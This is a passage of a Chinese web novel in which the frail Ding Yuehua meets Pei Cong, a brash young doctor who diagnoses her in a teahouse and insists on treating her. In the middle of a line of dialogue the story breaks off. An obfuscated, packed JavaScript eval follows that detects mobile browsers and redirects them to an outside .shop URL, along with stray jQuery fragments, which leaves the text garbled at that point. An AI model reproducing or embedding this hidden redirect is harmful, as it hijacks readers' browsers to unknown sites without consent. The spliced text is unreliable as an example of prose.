“这样吧,你在这里休息,我去追名医,追到之后我再托人来叫你过去,否则太折腾了。”

    丁月华也有点累了,就没拒绝。

    赵笙慈把她安排在路边一个茶馆里,让她坐下休息,随后赵笙慈就坐车走了。

    丁月华给自己点了一壶茶,又要了两碟点心。

    她还在担心刺客出了什么事,所以有点坐不住。

    她一度想偷溜回别云客栈问清楚情况,但又怕她回去之后来不及赶回来,表姐托人来找她的时候找不到,那就更乱套了。

    丁月华正在犹豫,忽然一个人走到她面前,盯着她的脸说道:“你脸色好差,得过什么重病?”

    此人是个年轻女子,眼睛很大,瞳仁很黑,她看丁月华的时候是直勾勾地盯着看,非常认真,认真到会让被她盯着看的人觉得不太舒服。

    “你是……”

    “没得过重病吗?难道是娘胎里带出来的病?那就有点严重了。伸出手我看看。”大瞳仁女子在丁月华对面坐下了。

    “你是大夫?”丁月华问。

    大瞳仁女子把她随身携带的药箱放到桌上:“是啊。我医术还不错,若是你的病我感兴趣,可以给你免费治。伸手。”

    丁月华作为一个经常看病的人,她见过不少大夫,不过那些名医一般年纪都不小了,即使不是胡子一大把,至少也已经人到中年。

    像面前的女孩这么年轻的大夫,她还真没见过。

    一般这个年纪的人顶多还是个学徒,还没出师呢吧。

    兴许这人驻颜有术,所以只是看起来年轻,实际年龄要更大一些?

    “伸手啊,我都说三回了。”大瞳仁女子敲了敲桌子。

    丁月华因为走神观察大瞳仁女子,注意力不集中,再加上大瞳仁女子一直在用命令的语气跟她说话,她一个没留意就依据对方的话做出了反应,把手伸了过去。

    大瞳仁女子对于看病的流程十分熟练,望闻问切那一套被她用得无比丝滑。

    “以前得过什么重病?”

    “是什么病不太清楚,当时发烧,烧了好几天,之后身体就一直不好了。”

    “是吗?发烧之前都吃了什么、做了什么还记得吗?”

    “这就不记得了。”

    “哎呀,怎么不记得了呢?是很重要的事啊,你连这都不记得,我怎么推测你发病的原因呢?”

    丁月华不知道为什么被她说得有些羞愧,大概是因为这女孩的神情举止太像有多年行医经验的名医了吧:“我听家里人说,那天我没乱吃什么东西,也没去过危险的地方,是毫无征兆、忽然就病倒了。”

    “不可能。有的病的确会是像你说的这种情况,毫无征兆、来得突然,但你的情况不一样,你发病之前绝对是接触了什么东西。”大瞳仁女子说着往前俯身,去试丁月华脖颈处的脉。

    丁月华出于本能往后躲,大瞳仁女子似乎早就料到她会躲,继续往前,带着些许凉意的手指直接贴了上来。

    “你啊你,身体都差成这样了,还昼夜颠倒,大半夜吃很油腻的东西,就没人跟你说得把这些臭毛病给改了吗?”

    “这、这你也能看得出来啊?”

    大瞳仁女子没回答,接着说道:“行了,你的情况我大概了解了,你的病有点意思,我免费给你治。若是一个月内没有任何效果,我跪下给你磕三个响头,认你做我姥姥。”

    丁月华:“?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709398|205156||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    丁月华的病看了那么多名医都没有起色,这位大瞳仁女子却信誓旦旦说一个月内就能让她的情况有所改善,丁月华实在很难不认为面前这人是在说大话。

    再者说了,看病就看病,认什么姥姥啊。

    “你现在吃着药吗?”大瞳仁女子问道。

    丁月华点点头。

    “把药都停了,只吃我给你开的药。还有,以后早睡早起,晚上别吃油腻的东西,能做到吗?”

    丁月华说:“请问你到底是——”

    “哦,刚才忘了说了,我叫裴聪,聪明的聪。你叫什么名字?”

    丁月华也自报了姓名。

    她从刚才起就一直被这人牵着鼻子走,平时都是她牵着别人的鼻子走,因此丁月华想要把局势稍微扭转一下,拿回主动权。

    “裴大夫平时就这样在大街上四处给人看病吗?”

    “是啊,我喜欢看疑难怪病,普通的病我不感兴趣。像你这种发病原因不明又难治的病我可太感兴趣了,是个大挑战啊。”

    是个大挑战。

    感觉把她当成了什么需要被克服的困难。

    虽然裴大夫的意思应该是把她的病当成了需要被克服的困难,但丁月华总感觉对方是把她整个人当成了需要被克服的困难。

    换句话说,她感觉在这位裴大夫眼里,是病上长了个她,而不是她身上长病,裴大夫的重点都在病上,她只是个容纳疑难怪病的皮囊。

    “这茶你也先别喝了,点心也是。跟我走吧,去药房抓药。我药箱里放不下那么多药材,只放了救命的药,但你的病一时半会还害不死你,药箱里的药对你没用。”裴聪说着就背起药箱,催促丁月华跟她走。